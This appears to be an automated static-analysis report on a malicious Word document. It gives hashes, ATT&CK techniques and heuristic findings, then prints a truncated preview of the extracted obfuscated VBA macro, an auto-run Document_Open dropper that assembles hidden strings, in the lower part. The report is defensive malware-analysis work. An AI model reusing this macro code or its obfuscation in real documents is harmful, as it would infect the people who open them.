Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f14a1210d1f2cdb…

MALICIOUS

Office (OLE)

1.44 MB Created: 2018-05-17 02:08:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: bb476622bcb0c666e12fbe4ccda8bbef SHA-1: 4986d8bca37e0863f5baf25a0da27e6b253d12bb SHA-256: 3f14a1210d1f2cdb916275bf32cb49159b6f49a54f246bdcb0e967cd0edb8e82
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a Document_Open VBA macro. This macro is designed to execute obfuscated Visual Basic code, which is a common technique for downloading and executing further malicious payloads. The presence of the 'CreateObject' and 'GetObject' calls, along with the 'SE_ENABLE_LURE' heuristic, indicates an attempt to bypass security measures and execute arbitrary code. The ClamAV detection further confirms its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 80657 bytes
SHA-256: 198854b7856c3756aa1f48f25e3fc6bb903a7fa4d9d9bfb2c36a49ff4f5dbbf5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 71 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim hwJX, vGHP, HHmP As String
hwJX = lhJo(BwLx)
vGHP = lhJo(ZOFr)
HHmP = lhJo(XsRu)


Dim cJGd As String
cJGd = vNLK(Nvfu(55, 100))
cJGd = SWSU(cJGd, vNLK(Nvfu(73, 42)))
cJGd = SWSU(cJGd, vNLK(Nvfu(255, 141)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(94, 46)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(228, 138)))
cJGd = SWSU(cJGd, vNLK(Nvfu(239, 136)))
cJGd = SWSU(cJGd, vNLK(Nvfu(64, 110)))
cJGd = SWSU(cJGd, vNLK(Nvfu(255, 185)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(209, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(55, 100)))
cJGd = SWSU(cJGd, vNLK(Nvfu(26, 99)))
cJGd = SWSU(cJGd, vNLK(Nvfu(66, 49)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(172, 193)))
cJGd = SWSU(cJGd, vNLK(Nvfu(4, 75)))
cJGd = SWSU(cJGd, vNLK(Nvfu(95, 61)))
cJGd = SWSU(cJGd, vNLK(Nvfu(196, 174)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(73, 42)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))

Dim QXyW As String
QXyW = hwJX
Dim XWSO As String
XWSO = ""
XWSO = SWSU(XWSO, vNLK(Nvfu(137, 202)))
XWSO = SWSU(XWSO, vNLK(Nvfu(87, 109)))
XWSO = SWSU(XWSO, "\")
XWSO = SWSU(XWSO, vNLK(Nvfu(241, 161)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 165)))
XWSO = SWSU(XWSO, vNLK(Nvfu(239, 136)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, vNLK(Nvfu(172, 193)))
XWSO = SWSU(XWSO, vNLK(Nvfu(79, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, vNLK(Nvfu(127, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, "\")
XWSO = SWSU(XWSO, vNLK(Nvfu(16, 71)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(249, 157)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 165)))
XWSO = SWSU(XWSO, vNLK(Nvfu(244, 131)))
XWSO = SWSU(XWSO, vNLK(Nvfu(66, 49)))
XWSO = SWSU(XWSO, vNLK(Nvfu(79, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 172)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(249, 157)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(55, 100)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(254, 136)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(73, 42)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(64, 110)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))

dtBy XWSO, QXyW, cJGd

Dim EMOy As String
EMOy = ""
EMOy = SWSU(EMOy, vNLK(Nvfu(137, 202)))
EMOy = SWSU(EMOy, vNLK(Nvfu(87, 109)))
EMOy = SWSU(EMOy, "\")
EMOy = SWSU(EMOy, vNLK(Nvfu(241, 161)))
EMOy = SWSU(EMOy, vNLK(Nvfu(255, 141)))
EMOy = SWSU(EMOy, vNLK(Nvfu(202, 165)))
EMOy = SWSU(EMOy, vNLK(Nvfu(239, 136)))
EMOy = SWSU(EMOy, vNLK(Nvfu(255, 141)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, vNLK(Nvfu(172, 193)))
EMOy = SWSU(EMOy, vNLK(Nvfu(79, 11)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, vNLK(Nvfu(127, 11)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, "\")
EMOy = SWSU(EMOy, vNLK(Nvfu(242, 183)))
EMOy = SWSU(EMOy, vNLK(Nvfu(254, 136)))
EMOy = SWSU(EMOy, vNLK(Nvfu(216, 189)))
EMOy = SWSU(EMOy, vNLK(Nvfu(228, 138)))
EMOy = SWSU(EMOy, vNLK(Nvfu(127, 11)))
EMOy = S
... (truncated)

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